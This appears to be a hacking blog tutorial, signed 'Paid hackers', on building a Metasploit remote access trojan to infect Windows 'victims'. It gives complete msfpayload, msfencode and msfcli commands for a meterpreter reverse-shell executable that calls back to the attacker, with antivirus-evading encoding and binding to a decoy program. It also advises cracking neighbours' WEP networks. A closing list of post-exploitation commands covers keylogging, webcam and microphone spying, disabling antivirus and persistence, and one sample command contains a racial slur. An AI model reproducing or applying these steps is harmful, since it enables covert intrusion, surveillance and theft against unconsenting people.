In
this tutorial you will learn how to make a "Rat"
Please note
we didn't come up with this method and we don't take any credit for this method except for writing the tutorial.
Okay well enough crap, lets get started.
The first thing you may really want to look in to and take the time to
learn is a penetration testing operating system called "Backtrack." Ive
seen many post on "How do i hack? Where do I start??!!?!?!!" Well you
start by going to http://www.backtrack-linux.org/ and FULLY
read every page on this website. This will educate you on how to
install, boot to the GUI, etc. Oh and one more thing Backtrack is not
the same as Ettercap, Nmap, and Metasploit. Backtrack is an linux based
OS (operating system) kinda like windows. Ettercap, Nmap, and Metasploit
are "programs" that run within the OS. Just to clear the air on that
subject.
Local Connection
- Once you've downloaded and installed your shiny new toy on a peace
of sh*t computer your going open a shell (terminal) with root
privileges. (By default backtrack opens the shell with root privileges.)
It should look something like this.
Screen shot
![[Image: ijyYco.png]](http://k.min.us/ijyYco.png)
- - In this shell you want to type this command
Please note: your "LHOST" might not be "192.168.2.12" This is the IP address of your computer (Attacker) on your network. So change it as needed. The LPORT is the local port you and your server will communicate through. This can stay on port 4444 unless chosen otherwise.Code:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=4444 X > server.exe
What this command does is makes a .exe server telling this server what IP is going to be communicating with and the port to connect through.
Screen shot
Now at this point you should see a icon on your desktop "server.exe"![[Image: ij3Zlc.png]](http://k.min.us/ij3Zlc.png)
Send this server through email, USB, whatever. Send it to your self on a windows based operating system (The only reason we say this is because it will be more convenient to bind it with a file and other things that we will explain later on).
- - Now guessing you have your server all ready set go. Okay so you
sent out your server and waiting for them to open the file. While you
are waiting you can move on to the next step. In the same shell or a new
shell (don't matter) type the following command.
Note again the LHOST might not be the same, So change as needed.Code:msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPROT=4444 E
This code will open Metasploit, Load the payload, tell Medasploit your IP and port to connect though and it will wait until your victim opens the server.
Screen shot
When metasploit is waiting for your victim to open your server you will see the following.![[Image: ij4btk.png]](http://k.min.us/ij4btk.png)
Now when your victim opens the server you should see the following![[Image: ijzakw.png]](http://k.min.us/ijzakw.png)
Screen shot
Congrats! your connected to your victim! :]![[Image: ijzIVc.png]](http://k.min.us/ijzIVc.png)
- - Now that we are connected just type "?"
This will give you a list of commands you can perform on your victim.
Screen shot
This ones a biggen.
![[Image: ij4jPG.png]](http://k.min.us/ij4jPG.png)
External Connection
Okay this part we are basically
starting over. We just have some new commands and differant ways of
connecting to your victim.
- Okay the first thing you want to do is port forward your router. I
have a ton of WEP connections around my house so i used the
aircrack-ng suit to crack some connections to show you on some different
ways to port forward your router. The first router ill cover is a Netgear Wireless G router.
Next router is going to be a Belkin Router.
You can also go to http://portforward.com/ for full details on port forwarding your router. I'll add more routers if you need more help.Spoiler (Click to View)
Once you have port forward your you can move on to the next step.
- - Again your going open a shell (terminal) in Backtrack with root.
Screen shot
![[Image: ijyYco.png]](http://k.min.us/ijyYco.png)
- In the shell type this command.
This will be the payload, along with the local host (External IP(internet protocol address)). The "(-x fileto bind to.exe -k)" is optional, you don't have to add this to your command unless your going to bind your server with another windows binary file (.exe). If you choose to bind the the server, leave out the ( ) so the command would look something like thisCode:msfpayload windows/meterpreter/reverse_tcp LHOST=(External IP) R | msfencode -e x86/shikata_ga_nai -t exe -c 10 -o server.exe (-x fileto bind to.exe -k)
Screen shot
You can find your External IP address from Here
- - Now we have our server made and bind with a file and sent out for
mass destruction in the same shell or a new one type this code.
This starts Metasploit, payloads, handler, and listens on port 4444Code:msfcli multi/handler payload=windows/meterpreter/reverse_tcp LHOST=(Internal IP) E
The LHOST is your INTERNAL IP address, The IP your router give you.. Should be something like 192.168.2.5 or so on. When everything looks good press enter and wait for your victim to open.
(If you're waiting forever for your victim to connect and your not sure if you port forward your router correctly you can visit http://www.canyouseeme.org/ and type in "4444" and it will tell you if you have forward your router correctly.)
When he does i'm sure you know what to do from there. ;]
Ok here is a list of all the meterpreter commands that are worth knowing:
ps - Look at processes
migrate- Migrate to a process
use priv - Get higher privileges
getsystem - Get higher privileges
shell - open CMD or a terminal if target is nix
screenshot - Hm....
killav - Kills some AV's
uictl disable keyboard - Kills keys
uictl disable mouse - Kills mouse
run checkvm - Check if the meterpreter session is from a virtual machine
run getcountermeasure - Find out what AV/firewalls the target is using
run screenspy - View the desktop (Refreshes screenshot)
run webcam - View webcam
run keylogrecorder - Records key strokes
record_mic -d 10 - Records Mic for 10 seconds
run persistence -X -i 60 -r Your.dynamic.dns - Makes the backdoor persistent so when reboots will connect back to you
msg * 'Hello Nigga' - Once in a CMD prompt message someone
upload - Upload a file to the slave
download - Download a file from the slave
Sincerely Paid hackers
Metasploit Backdoor UD Server, Noob Friendly - By Paid Hackers
Reviewed by amit
on
00:57
Rating:
Reviewed by amit
on
00:57
Rating:

No comments: